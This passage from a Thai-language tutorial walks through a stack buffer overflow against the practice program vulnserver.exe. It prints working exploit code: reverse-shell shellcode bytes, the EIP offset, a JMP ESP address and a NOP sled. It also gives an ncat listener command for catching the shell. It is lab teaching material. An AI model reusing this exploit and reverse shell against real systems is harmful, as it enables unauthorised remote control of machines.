buf += "\x52\x21\x24\x99\x24\x2e\x61\x6f\xc8\x9f\xdc\x36\xf7"
buf += "\x10\x89\xbe\x80\x4c\x29\x40\x5b\xd5\x59\x0b\xc1\x7c"
buf += "\xf2\xd2\x90\x3c\x9f\xe4\x4f\x02\xa6\x66\x65\xfb\x5d"
buf += "\x76\x0c\xfe\x1a\x30\xfd\x72\x32\xd5\x01\x20\x33\xfc"
shell = buf
buf = "A"*2006 + p32(0x625011af) + '\x90'*10 + shell
payload = "TRUN ." + buf
r.send(payload)

คำอธิบายอีกรอบคร่าว ๆ คือ

  1. ค่า shell เป็น shellcode ที่ทำให้เครื่องเหยื่อที่ถูกแฮกต่อกลับมาหาเครื่องแฮกเกอร์ (เรียกว่า reverse shell) ซึ่ง shellcode นี้สร้างมาจากโปรแกรม msfvenom ได้
  2. ค่า p32(0x625011af) คือตำแหน่งที่ EIP จะชี้ไป (ที่ตอนแรกเป็น BBBB) เราแก้ให้ที่ไปยัง addr ของ JMP ESP ตำแหน่ง 0x625011af ที่อยู่ในไฟล์ essfunc.dll ซึ่งเรารู้มาจากการใช้ mona.py กับ Immunity Debugger หามา
  3. เราใส่ A ไป 2006 ตัวนำหน้าเพราะเราทดสอบจาก cyclic pattern มาแล้วว่าจำนวน offset ก่อนถึงการเขียนทับค่า EIP คือต้องใส่ไป 2006 ตัว
  4. ส่วน \x90 เดี๋ยวว่ากัน

จากนั้นบนเครื่องแฮกเกอร์ก็ใช้โปรแกรม netcat เปิด TCP listener รอที่ port 1112

$ ncat -lvp 1112

แล้วก็ยิงรัว ๆ หลาย ๆ ทีหน่อย จะได้… cmd.exe ของเครื่องที่รัน vulnserver.exe !!

ณ จุดนี้คือเราแฮกด้วย การทำให้เครื่องเหยื่อที่รันโปรแกรม vulnserver.exe ที่มีช่องโหว่ เกิด stack buffer overflow และคุมค่า EIP ให้ชี้ไปที่ addr ของคำสั่ง jmp esp ใน essfunc.dll ซึ่งพอ process ทำการ jmp esp ณ ตอนนั้นค่า ESP จะถูกยัด shellcode เข้าไปซึ่ง shellcode ตัวนี้ทำการ reverse shell กลับมาที่เครื่องแฮกเกอร์ ที่เปิด netcat รอรับ connection พร้อม cmd.exe ที่จะต่อกลับมา พอทุกอย่างเข้าที่ ยิงเปรี้ยงง ก็ได้ command shell จ้า

จบแล้ว สำหรับตอนแรกนี้ได้ละเนื้อหาหลาย ๆ อย่างไปเพื่อให้บทความสั้นลงและทิ้งคำถามไว้หลายอย่างเช่น ASLR/DEP คืออะไร Memory layout, register, assembly, little endian, big endian, PE structure, TEB, PEB, Immunity Debugger ใช้ยังไง pwntools ใช้ทำอะไรได้อีก ทำไมต้อง p32() ทำไมต้องใช้ -b ใน msfvenom และทำไมต้องใส่ \x90 (NOP) ก่อน shellcode เราเขียน shellcode เองได้ไหม มีกรณีไหนเราต้องเขียนเอง แล้วถ้ามี DEP/ASLR ละ และถ้าโปรแกรมที่เราจะแฮกไม่มีโค้ดให้อ่านแบบ vulnserver.c จะทำยังไง ต้อง reverse engineering ใช่ไหม?

ใครอยากรู้ก็ติดตามอ่านตอนถัดไปหรือใครรอไม่ไหว ไปตามอ่านในบทความต่างประเทศได้ตามนี้ครับ

http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
http://www.thegreycorner.com/2010/12/introduction-to-fuzzing-using-spike-to.html
http://www.thegreycorner.com/2011/03/simple-stack-based-buffer-overflow.html <- TRUN
http://www.thegreycorner.com/2011/03/exploit-writers-debugging-tutorial.html#ollyTutorial
http://www.thegreycorner.com/2011/06/seh-based-buffer-overflow-tutorial-for.html <- GMON
http://www.thegreycorner.com/2011/10/egghunter-based-exploit-for-vulnserver.html <- KSTET
http://www.thegreycorner.com/2011/12/restricted-character-set-buffer.html <- LTER
http://resources.infosecinstitute.com/return-oriented-programming-rop-attacks/ <- ROP on TRUN
https://github.com/jkellogg90/Vulnserver <- Solutions
https://www.corelan.be/index.php/articles/
http://www.fuzzysecurity.com/tutorials.html

--

--